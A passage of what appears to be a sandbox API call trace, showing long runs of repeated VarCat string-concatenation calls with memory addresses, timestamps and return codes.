lpUsedDefaultChar=0x0) returned 1 [0048.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.690] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.690] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.690] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.690] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.690] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.690] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.690] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.690] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.690] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.690] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.690] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.690] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.690] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.690] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.690] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.690] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.690] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.690] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.691] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.692] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.693] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.694] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.695] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.696] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, 